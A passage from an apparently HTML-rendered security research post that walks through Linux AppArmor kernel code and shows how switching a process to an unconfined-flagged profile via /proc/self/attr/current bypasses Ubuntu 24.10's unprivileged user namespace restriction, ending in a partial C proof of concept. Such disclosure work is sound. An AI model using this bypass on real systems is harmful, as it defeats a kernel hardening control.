class="n">aa_profile_ns_perm</span><span class="p">(</span><span class="n">profile</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ad</span><span class="p">,</span> <span class="c1">// [2]</span> <span class="n">AA_USERNS_CREATE</span><span class="p">));</span> <span class="c1">// [...]</span> <span class="p">}</span> <span class="n">end_current_label_crit_section</span><span class="p">(</span><span class="n">label</span><span class="p">);</span> <span class="k">return</span> <span class="n">error</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>When <code class="language-plaintext highlighter-rouge">aa_profile_ns_perm()</code> detects that the profile is <strong>in unconfined status</strong> [3] and that the currently used profile matches the <strong><code class="language-plaintext highlighter-rouge">unconfined</code> profile</strong> [4], it directly applies a hardcoded <code class="language-plaintext highlighter-rouge">unprivileged_userns</code> profile [5], which corresponds to <code class="language-plaintext highlighter-rouge">/etc/apparmor.d/unprivileged_userns</code>. This is the AppArmor profile that prevents us from creating unprivileged namespaces.</p> <p>The following code only includes a portion of the <code class="language-plaintext highlighter-rouge">aa_profile_ns_perm()</code> function. The full code contains numerous comments with <strong>“TODO”</strong> and <strong>“hardcode”</strong>, indicating that the entire mechanism is still under development.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">aa_label</span> <span class="o">*</span><span class="nf">aa_profile_ns_perm</span><span class="p">(</span><span class="k">struct</span> <span class="n">aa_profile</span> <span class="o">*</span><span class="n">profile</span><span class="p">,</span> <span class="k">struct</span> <span class="n">apparmor_audit_data</span> <span class="o">*</span><span class="n">ad</span><span class="p">,</span> <span class="n">u32</span> <span class="n">request</span><span class="p">)</span> <span class="p">{</span> <span class="k">struct</span> <span class="n">aa_ruleset</span> <span class="o">*</span><span class="n">rules</span> <span class="o">=</span> <span class="n">list_first_entry</span><span class="p">(</span><span class="o">&amp;</span><span class="n">profile</span><span class="o">-&gt;</span><span class="n">rules</span><span class="p">,</span> <span class="n">typeof</span><span class="p">(</span><span class="o">*</span><span class="n">rules</span><span class="p">),</span> <span class="n">list</span><span class="p">);</span> <span class="k">struct</span> <span class="n">aa_label</span> <span class="o">*</span><span class="n">new</span><span class="p">;</span> <span class="k">struct</span> <span class="n">aa_perms</span> <span class="n">perms</span> <span class="o">=</span> <span class="p">{</span> <span class="p">};</span> <span class="n">aa_state_t</span> <span class="n">state</span><span class="p">;</span> <span class="c1">// [...]</span> <span class="n">state</span> <span class="o">=</span> <span class="n">RULE_MEDIATES</span><span class="p">(</span><span class="n">rules</span><span class="p">,</span> <span class="n">ad</span><span class="o">-&gt;</span><span class="n">class</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">state</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">profile_unconfined</span><span class="p">(</span><span class="n">profile</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="c1">// [3]</span> <span class="n">profile</span> <span class="o">==</span> <span class="n">profiles_ns</span><span class="p">(</span><span class="n">profile</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">unconfined</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// [4]</span> <span class="c1">// [...]</span> <span class="n">new</span> <span class="o">=</span> <span class="n">aa_label_parse</span><span class="p">(</span><span class="o">&amp;</span><span class="n">profile</span><span class="o">-&gt;</span><span class="n">label</span><span class="p">,</span> <span class="c1">// [5]</span> <span class="s">"unprivileged_userns"</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">,</span> <span class="nb">true</span><span class="p">,</span> <span class="nb">false</span><span class="p">);</span> <span class="c1">// [...]</span> <span class="n">ad</span><span class="o">-&gt;</span><span class="n">info</span> <span class="o">=</span> <span class="s">"Userns create - transitioning profile"</span><span class="p">;</span> <span class="n">perms</span><span class="p">.</span><span class="n">audit</span> <span class="o">=</span> <span class="n">request</span><span class="p">;</span> <span class="n">perms</span><span class="p">.</span><span class="n">allow</span> <span class="o">=</span> <span class="n">request</span><span class="p">;</span> <span class="k">goto</span> <span class="n">hard_coded</span><span class="p">;</span> <span class="p">}</span> <span class="cm">/* [...] */</span> <span class="p">}</span> <span class="c1">// [...]</span> <span class="nl">hard_coded:</span> <span class="n">aa_apply_modes_to_perms</span><span class="p">(</span><span class="n">profile</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">perms</span><span class="p">);</span> <span class="c1">// [...]</span> <span class="k">return</span> <span class="n">new</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>How can we determine which profile the current process is using? Intuitively, it should be recorded somewhere under <code class="language-plaintext highlighter-rouge">/proc/self/</code>. By analyzing the source code and using tools like <code class="language-plaintext highlighter-rouge">grep</code> and <code class="language-plaintext highlighter-rouge">find</code> to search for relevant keywords in both file contents and filenames, we eventually locate <code class="language-plaintext highlighter-rouge">/proc/self/attr</code>.</p> <p>This directory stores process-related attribute definitions, and within it, there’s a subdirectory named <code class="language-plaintext highlighter-rouge">apparmor</code>, which contains AppArmor-specific information.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aaa@aaa:~/<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-al</span> /proc/self/attr total 0 dr-xr-xr-x 2 aaa aaa 0 Feb 17 12:16 <span class="nb">.</span> dr-xr-xr-x 9 aaa aaa 0 Feb 17 12:16 .. dr-xr-xr-x 2 aaa aaa 0 Feb 17 12:16 apparmor <span class="nt">-rw-rw-rw-</span> 1 aaa aaa 0 Feb 17 12:16 current <span class="nt">-rw-rw-rw-</span> 1 aaa aaa 0 Feb 17 12:16 <span class="nb">exec</span> <span class="nt">-rw-rw-rw-</span> 1 aaa aaa 0 Feb 17 12:16 fscreate <span class="nt">-rw-rw-rw-</span> 1 aaa aaa 0 Feb 17 12:16 keycreate <span class="nt">-r--r--r--</span> 1 aaa aaa 0 Feb 17 12:16 prev dr-xr-xr-x 2 aaa aaa 0 Feb 17 12:16 smack <span class="nt">-rw-rw-rw-</span> 1 aaa aaa 0 Feb 17 12:16 sockcreate </code></pre></div></div> <p>The file <code class="language-plaintext highlighter-rouge">current</code> within <code class="language-plaintext highlighter-rouge">/proc/self/attr/apparmor</code> shows the profile currently in use. While it has write permissions, it appears to require a <strong>specific format</strong> for modifications to take effect.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aaa@aaa:~/<span class="nv">$ </span><span class="nb">cat</span> /proc/self/attr/current unconfined aaa@aaa:~/<span class="nv">$ </span><span class="nb">echo </span>AAA <span class="o">&gt;</span> /proc/self/attr/current <span class="nt">-bash</span>: <span class="nb">echo</span>: write error: Invalid argument </code></pre></div></div> <p>By mapping these pseudo-file names back to the source code, we can determine the read/write handlers from the file operations.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define ATTR(LSMID, NAME, MODE) \ NOD(NAME, (S_IFREG|(MODE)), \ NULL, &amp;proc_pid_attr_operations, \ { .lsmid = LSMID }) </span> <span class="k">static</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">pid_entry</span> <span class="n">smack_attr_dir_stuff</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_SMACK</span><span class="p">,</span> <span class="s">"current"</span><span class="p">,</span> <span class="mo">0666</span><span class="p">),</span> <span class="p">};</span> <span class="n">LSM_DIR_OPS</span><span class="p">(</span><span class="n">smack</span><span class="p">);</span> <span class="k">static</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">pid_entry</span> <span class="n">apparmor_attr_dir_stuff</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_APPARMOR</span><span class="p">,</span> <span class="s">"current"</span><span class="p">,</span> <span class="mo">0666</span><span class="p">),</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_APPARMOR</span><span class="p">,</span> <span class="s">"prev"</span><span class="p">,</span> <span class="mo">0444</span><span class="p">),</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_APPARMOR</span><span class="p">,</span> <span class="s">"exec"</span><span class="p">,</span> <span class="mo">0666</span><span class="p">),</span> <span class="p">};</span> <span class="n">LSM_DIR_OPS</span><span class="p">(</span><span class="n">apparmor</span><span class="p">);</span> <span class="k">static</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">pid_entry</span> <span class="n">attr_dir_stuff</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_UNDEF</span><span class="p">,</span> <span class="s">"current"</span><span class="p">,</span> <span class="mo">0666</span><span class="p">),</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_UNDEF</span><span class="p">,</span> <span class="s">"prev"</span><span class="p">,</span> <span class="mo">0444</span><span class="p">),</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_UNDEF</span><span class="p">,</span> <span class="s">"exec"</span><span class="p">,</span> <span class="mo">0666</span><span class="p">),</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_UNDEF</span><span class="p">,</span> <span class="s">"fscreate"</span><span class="p">,</span> <span class="mo">0666</span><span class="p">),</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_UNDEF</span><span class="p">,</span> <span class="s">"keycreate"</span><span class="p">,</span> <span class="mo">0666</span><span class="p">),</span> <span class="n">ATTR</span><span class="p">(</span><span class="n">LSM_ID_UNDEF</span><span class="p">,</span> <span class="s">"sockcreate"</span><span class="p">,</span> <span class="mo">0666</span><span class="p">),</span> <span class="kt">DIR</span><span class="p">(</span><span class="s">"smack"</span><span class="p">,</span> <span class="mo">0555</span><span class="p">,</span> <span class="n">proc_smack_attr_dir_inode_ops</span><span class="p">,</span> <span class="n">proc_smack_attr_dir_ops</span><span class="p">),</span> <span class="kt">DIR</span><span class="p">(</span><span class="s">"apparmor"</span><span class="p">,</span> <span class="mo">0555</span><span class="p">,</span> <span class="n">proc_apparmor_attr_dir_inode_ops</span><span class="p">,</span> <span class="n">proc_apparmor_attr_dir_ops</span><span class="p">),</span> <span class="p">};</span> </code></pre></div></div> <p>The file ops <code class="language-plaintext highlighter-rouge">proc_pid_attr_operations</code> defines the function <code class="language-plaintext highlighter-rouge">proc_pid_attr_write()</code> [6] as the write handler. At a lower level, this function calls AppArmor’s setprocattr hook, which corresponds to the function <code class="language-plaintext highlighter-rouge">apparmor_setprocattr()</code> [7].</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">file_operations</span> <span class="n">proc_pid_attr_operations</span> <span class="o">=</span> <span class="p">{</span> <span class="c1">// [...]</span> <span class="p">.</span><span class="n">write</span> <span class="o">=</span> <span class="n">proc_pid_attr_write</span><span class="p">,</span> <span class="c1">// [6]</span> <span class="c1">// [...]</span> <span class="p">};</span> <span class="k">static</span> <span class="kt">ssize_t</span> <span class="nf">proc_pid_attr_write</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span> <span class="n">file</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="n">__user</span> <span class="o">*</span> <span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">count</span><span class="p">,</span> <span class="n">loff_t</span> <span class="o">*</span><span class="n">ppos</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// [...]</span> <span class="n">rv</span> <span class="o">=</span> <span class="n">security_setprocattr</span><span class="p">(</span><span class="n">PROC_I</span><span class="p">(</span><span class="n">inode</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">op</span><span class="p">.</span><span class="n">lsmid</span><span class="p">,</span> <span class="c1">// &lt;------------</span> <span class="n">file</span><span class="o">-&gt;</span><span class="n">f_path</span><span class="p">.</span><span class="n">dentry</span><span class="o">-&gt;</span><span class="n">d_name</span><span class="p">.</span><span class="n">name</span><span class="p">,</span> <span class="n">page</span><span class="p">,</span> <span class="n">count</span><span class="p">);</span> <span class="c1">// [...]</span> <span class="p">}</span> <span class="kt">int</span> <span class="nf">security_setprocattr</span><span class="p">(</span><span class="kt">int</span> <span class="n">lsmid</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">name</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">value</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span> <span class="k">struct</span> <span class="n">security_hook_list</span> <span class="o">*</span><span class="n">hp</span><span class="p">;</span> <span class="n">hlist_for_each_entry</span><span class="p">(</span><span class="n">hp</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">security_hook_heads</span><span class="p">.</span><span class="n">setprocattr</span><span class="p">,</span> <span class="n">list</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">lsmid</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">lsmid</span> <span class="o">!=</span> <span class="n">hp</span><span class="o">-&gt;</span><span class="n">lsmid</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">)</span> <span class="k">continue</span><span class="p">;</span> <span class="k">return</span> <span class="n">hp</span><span class="o">-&gt;</span><span class="n">hook</span><span class="p">.</span><span class="n">setprocattr</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">value</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span> <span class="c1">// &lt;------------</span> <span class="p">}</span> <span class="c1">// [...]</span> <span class="p">}</span> <span class="k">static</span> <span class="k">struct</span> <span class="n">security_hook_list</span> <span class="n">apparmor_hooks</span><span class="p">[]</span> <span class="n">__ro_after_init</span> <span class="o">=</span> <span class="p">{</span> <span class="c1">// [...]</span> <span class="n">LSM_HOOK_INIT</span><span class="p">(</span><span class="n">setprocattr</span><span class="p">,</span> <span class="n">apparmor_setprocattr</span><span class="p">),</span> <span class="c1">// [7]</span> <span class="c1">// [...]</span> <span class="p">};</span> </code></pre></div></div> <p>The function <code class="language-plaintext highlighter-rouge">apparmor_setprocattr()</code> first converts the target filename into an enum value [8], then calls <code class="language-plaintext highlighter-rouge">do_setattr()</code> to handle the operation [9].</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">apparmor_setprocattr</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">name</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">value</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">attr</span> <span class="o">=</span> <span class="n">lsm_name_to_attr</span><span class="p">(</span><span class="n">name</span><span class="p">);</span> <span class="c1">// [8]</span> <span class="k">if</span> <span class="p">(</span><span class="n">attr</span><span class="p">)</span> <span class="k">return</span> <span class="n">do_setattr</span><span class="p">(</span><span class="n">attr</span><span class="p">,</span> <span class="n">value</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span> <span class="c1">// [9]</span> <span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span> <span class="p">}</span> <span class="n">u64</span> <span class="nf">lsm_name_to_attr</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">name</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="s">"current"</span><span class="p">))</span> <span class="k">return</span> <span class="n">LSM_ATTR_CURRENT</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="s">"exec"</span><span class="p">))</span> <span class="k">return</span> <span class="n">LSM_ATTR_EXEC</span><span class="p">;</span> <span class="c1">// [...]</span> <span class="p">}</span> </code></pre></div></div> <p>The function <code class="language-plaintext highlighter-rouge">do_setattr()</code> begins by parsing the input, where the written data is interpreted in the format <code class="language-plaintext highlighter-rouge">"&lt;command&gt; &lt;profile&gt;"</code>. It then calls <code class="language-plaintext highlighter-rouge">aa_change_profile()</code> with different parameters based on the <strong>target file</strong> and the <strong>command</strong> value.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">do_setattr</span><span class="p">(</span><span class="n">u64</span> <span class="n">attr</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">value</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// [...]</span> <span class="k">if</span> <span class="p">(</span><span class="n">attr</span> <span class="o">==</span> <span class="n">LSM_ATTR_CURRENT</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// [...]</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">"changeprofile"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">error</span> <span class="o">=</span> <span class="n">aa_change_profile</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">AA_CHANGE_NOFLAGS</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">"permprofile"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">error</span> <span class="o">=</span> <span class="n">aa_change_profile</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">AA_CHANGE_TEST</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">"stack"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">error</span> <span class="o">=</span> <span class="n">aa_change_profile</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">AA_CHANGE_STACK</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="k">goto</span> <span class="n">fail</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">attr</span> <span class="o">==</span> <span class="n">LSM_ATTR_EXEC</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">"exec"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="n">error</span> <span class="o">=</span> <span class="n">aa_change_profile</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">AA_CHANGE_ONEXEC</span><span class="p">);</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">"stack"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="n">error</span> <span class="o">=</span> <span class="n">aa_change_profile</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="p">(</span><span class="n">AA_CHANGE_ONEXEC</span> <span class="o">|</span> <span class="n">AA_CHANGE_STACK</span><span class="p">));</span> <span class="k">else</span> <span class="k">goto</span> <span class="n">fail</span><span class="p">;</span> <span class="p">}</span> <span class="c1">// [...]</span> <span class="p">}</span> </code></pre></div></div> <p>The function <code class="language-plaintext highlighter-rouge">aa_change_profile()</code> determines how a profile is applied based on different flags. First, it retrieves the profile object corresponding to the user-provided profile name [10]. Then, it performs different profile updates based on the flags.</p> <p>If the flag <code class="language-plaintext highlighter-rouge">AA_CHANGE_STACK</code> is included, AppArmor applies another profile on top of the existing one. The flag <code class="language-plaintext highlighter-rouge">AA_CHANGE_TEST</code> is used for testing, meaning the profile will not actually be applied.</p> <p>If neither the <code class="language-plaintext highlighter-rouge">AA_CHANGE_STACK</code> nor <code class="language-plaintext highlighter-rouge">AA_CHANGE_TEST</code> flags are set, <code class="language-plaintext highlighter-rouge">aa_change_profile()</code> creates an AppArmor label object using the retrieved profile [11], and then applies the new label to the current process via either <code class="language-plaintext highlighter-rouge">aa_replace_current_label()</code> [12] or <code class="language-plaintext highlighter-rouge">aa_set_current_onexec()</code> [13].</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">aa_change_profile</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">fqname</span><span class="p">,</span> <span class="kt">int</span> <span class="n">flags</span><span class="p">)</span> <span class="p">{</span> <span class="k">struct</span> <span class="n">aa_label</span> <span class="o">*</span><span class="n">label</span><span class="p">,</span> <span class="o">*</span><span class="n">new</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">*</span><span class="n">target</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="c1">// [...]</span> <span class="n">target</span> <span class="o">=</span> <span class="n">aa_label_parse</span><span class="p">(</span><span class="n">label</span><span class="p">,</span> <span class="n">fqname</span> <span class="cm">/* profile name */</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">,</span> <span class="nb">true</span><span class="p">,</span> <span class="nb">false</span><span class="p">);</span> <span class="c1">// [10]</span> <span class="c1">// [...]</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">stack</span><span class="p">)</span> <span class="p">{</span> <span class="n">new</span> <span class="o">=</span> <span class="n">fn_label_build_in_ns</span><span class="p">(</span><span class="n">label</span><span class="p">,</span> <span class="n">profile</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">,</span> <span class="c1">// [11]</span> <span class="n">aa_get_label</span><span class="p">(</span><span class="n">target</span><span class="p">),</span> <span class="n">aa_get_label</span><span class="p">(</span><span class="o">&amp;</span><span class="n">profile</span><span class="o">-&gt;</span><span class="n">label</span><span class="p">));</span> <span class="p">}</span> <span class="c1">// [...]</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">AA_CHANGE_ONEXEC</span><span class="p">))</span> <span class="p">{</span> <span class="n">error</span> <span class="o">=</span> <span class="n">aa_replace_current_label</span><span class="p">(</span><span class="n">new</span><span class="p">);</span> <span class="c1">// [12]</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">new</span><span class="p">)</span> <span class="p">{</span> <span class="n">aa_put_label</span><span class="p">(</span><span class="n">new</span><span class="p">);</span> <span class="n">new</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="p">}</span> <span class="n">aa_set_current_onexec</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="n">stack</span><span class="p">);</span> <span class="c1">// [13]</span> <span class="p">}</span> <span class="c1">// [...]</span> <span class="p">}</span> </code></pre></div></div> <p>In a nut shell, if the target file being written to is <code class="language-plaintext highlighter-rouge">/proc/self/attr/exec</code> and the data is <code class="language-plaintext highlighter-rouge">"exec &lt;profile&gt;"</code>, the new profile is applied only after the <strong>process executes <code class="language-plaintext highlighter-rouge">SYS_execve</code> system call</strong>.</p> <p>Conversely, if writing to <code class="language-plaintext highlighter-rouge">/proc/self/attr/current</code> with <code class="language-plaintext highlighter-rouge">"changeprofile &lt;profile&gt;"</code>, the process’s profile is <strong>updated immediately</strong>.</p> <h2 id="4-out-of-the-sandbox">4. Out of the Sandbox</h2> <p>Let’s look back at the checks in <code class="language-plaintext highlighter-rouge">aa_profile_ns_perm()</code>.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">aa_label</span> <span class="o">*</span><span class="nf">aa_profile_ns_perm</span><span class="p">(</span><span class="k">struct</span> <span class="n">aa_profile</span> <span class="o">*</span><span class="n">profile</span> <span class="cm">/* ... */</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">profile_unconfined</span><span class="p">(</span><span class="n">profile</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="c1">// [1]</span> <span class="n">profile</span> <span class="o">==</span> <span class="n">profiles_ns</span><span class="p">(</span><span class="n">profile</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">unconfined</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// [2]</span> <span class="c1">// [...]</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>The first check examines whether the profile is in unconfined status [1], which can also be bypassed by applying a profile in <strong>complain mode</strong>.</p> <p>The second check verifies whether the current profile is the <code class="language-plaintext highlighter-rouge">unconfined</code> profile [2]. Therefore, using a <strong>non-default profile</strong> can bypass this check.</p> <p>In short, under the current mechanism, simply <strong>applying any profile in unconfined status</strong> allows bypassing the check to create an unprivileged user namespace!</p> <h2 id="5-proof-of-concept">5. Proof-Of-Concept</h2> <p>To bypass the restriction, you just need to switch the process’s profile from the default one to another that is in unconfined status. We chose the <code class="language-plaintext highlighter-rouge">opam</code> profile simply because it is one of the simplest profiles. Its content is as follows:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># This profile allows everything and only exists to give the # application a name instead of having the label "unconfined" abi &lt;abi/4.0&gt;, include &lt;tunables/global&gt; profile opam /usr/bin/opam flags=(unconfined) { userns, # Site-specific additions and overrides. See local/README for details. include if exists &lt;local/opam&gt; } </code></pre></div></div> <p>The following example code uses two methods to create an unprivileged user namespace on Ubuntu 24.10. The tested version is Ubuntu 24.10 (6.11.0-14-generic), and the test date is February 17, 2025.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define _GNU_SOURCE #include</span> <span class="cpf">&lt;sched.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp"> </span> <span class="kt">void</span> <span class="nf">perror_exit</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">msg</span><span class="p">)</span> <span class="p">{</span> <span class="n">perror</span><span class="p">(</span><span class="n">msg</span><span class="p">);</span> <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span> <span class="p">}</span> <span class="kt">void</span> <span class="nf">unshare_setup</span><span class="p">(</span><span class="n">uid_t</span> <span class="n">uid</span><span class="p">,</span> <span class="n">gid_t</span> <span class="n">gid</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">temp</span><span class="p">,</span> <span class="n">ret</span><span class="p">;</span> <span class="kt">char</span> <span class="n">edit</span><span class="p">[</span><span class="mh">0x100</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">unshare</span><span class="p">(</span><span class="n">CLONE_NEWNET</span> <span class="o">|</span> <span class="n">CLONE_NEWUSER</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="n">perror_exit</span><span class="p">(</span><span class="s">"unshare"</span><span class="p">);</span> <span class="n">temp</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/proc/self/setgroups"</span><span class="p">,</span> <span class="n">O_WRONLY</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">temp</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="n">perror_exit</span><span class="p">(</span><span class="s">"open /proc/self/setgroups"</span><span class="p">);</span> <span class="n">write</span><span class="p">(</span><span class="n">temp</span><span class="p">,</span> <span class="s">"deny"</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="s">"deny"</span><span class="p">));</span> <span class="n">close</span><span class="p">(</span><span class="n">temp</span><span class="p">);</span> <span class="n">temp</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/proc/self/uid_map"</span><span class="p">,</span> <span class="n">O_WRONLY</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">temp</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="n">perror_exit</span><span class="p">(</span><span class="s">"open /proc/self/uid_map"</span><span class="p">);</span> <span class="n">snprintf</span><span class="p">(</span><span class="n">edit</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">edit</span><span class="p">),</span> <span class="s">"0 %d 1"</span><span class="p">,</span> <span class="n">uid</span><span class="p">);</span> <span class="n">write</span><span class="p">(</span><span class="n">temp</span><span class="p">,</span> <span class="n">edit</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">edit</span><span class="p">));</span> <span class="n">close</span><span class="p">(</span><span class="n">temp</span><span class="p">);</span> <span class="n">temp</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/proc/self/gid_map"</span><span class="p">,</span> <span class="n">O_WRONLY</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">temp</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="n">perror_exit</span><span 